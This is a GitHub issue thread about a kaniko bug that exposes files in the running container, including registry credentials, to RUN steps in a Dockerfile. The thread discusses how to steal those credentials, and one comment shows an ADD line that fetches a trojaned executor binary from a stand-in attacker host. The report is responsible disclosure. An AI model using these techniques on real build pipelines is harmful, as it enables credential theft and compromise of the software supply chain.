-
Notifications
You must be signed in to change notification settings - Fork 1.4k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Files created within kaniko can be partially accessed in Dockerfile #1553
Comments
After having a more detailed look into the situation I have another question:
Considering my finding from above means that I'll also be able to access the docker config including it's credentials from within the Dockerfile. Imagine the following setup:
Am I overlooking sth. or is this a real security risk? |
This seems like a bug. Surely this shouldn't work? FROM scratch
RUN ["/kaniko/executor", "--help"]
|
@TBBle That's an interesting addition to know. Apparently I can even build other Docker Images within a Dockerfile, considering I have the executor as well as credentials in here. In my opinion this seems a bit problematic since I could hide Docker Images within Docker Images. Example:
Dockerfile.2
CMD
|
That was exactly my first thought when I realised that By-the-by, the reason So there should be no barrier to stealing OCI Registry credentials with a malicious Dockerfile, as you surmised earlier. Slightly more concerning... FROM scratch
ADD http://hacker.example.com/my-kaniko-binary-with-a-trojan /kaniko/executor although clearly that's lost once the container terminates, so we're safe as long as we're using it as a one-shot container. |
One update for relevance, since I stumbled over an article describing an attack that could cause problems under the circumstances I described in my second post, while being able to circumvent common security measures: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 |
We just stumbled upon this issue after finding unexpected files showing up in the kaniko container. This bug goes both directions: you can copy files out of the image you're building into the parent kaniko container! We were having trouble because our docker auth config was getting messed up from inside a container! This example will mess with the kaniko build such that it won't be able to push.
|
Actual behavior
First of all, I'm not completely sure, if or if not this is a bug.
When there are files created within a running kaniko (debug) container, those files are partially accessible via
RUN
during a Dockerfile build, but not viaCOPY
. Originally this issue stems from a behaviour we experienced in Gitlab. Using the debug variant of kaniko this way seems to be the recommended way in Gitlab (see here).According to #1505 and #489 at least for the
/kaniko
dir this happens on purpose but is this also intended for all other directories?Expected behavior
Either this is actually intended behaviour, then I'd expect
COPY
to work as well.Or this is unintended behaviour (my guess), then the example shouldn't work in
RUN
either.To Reproduce
Kaniko: gcr.io/kaniko-project/executor@sha256:473d6dfb011c69f32192e668d86a47c0235791e7e857c870ad70c5e86ec07e8c
Since the Dockerfile is minimal I'll attach it here for readability purposes.
The following cmds are being run then:
This results in the following output:
This shows that
/tmp/test.file
is accessible via a direct path inRUN
. However theCOPY
is not allowed to use it.Triage Notes for the Maintainers
--cache
flagThe text was updated successfully, but these errors were encountered: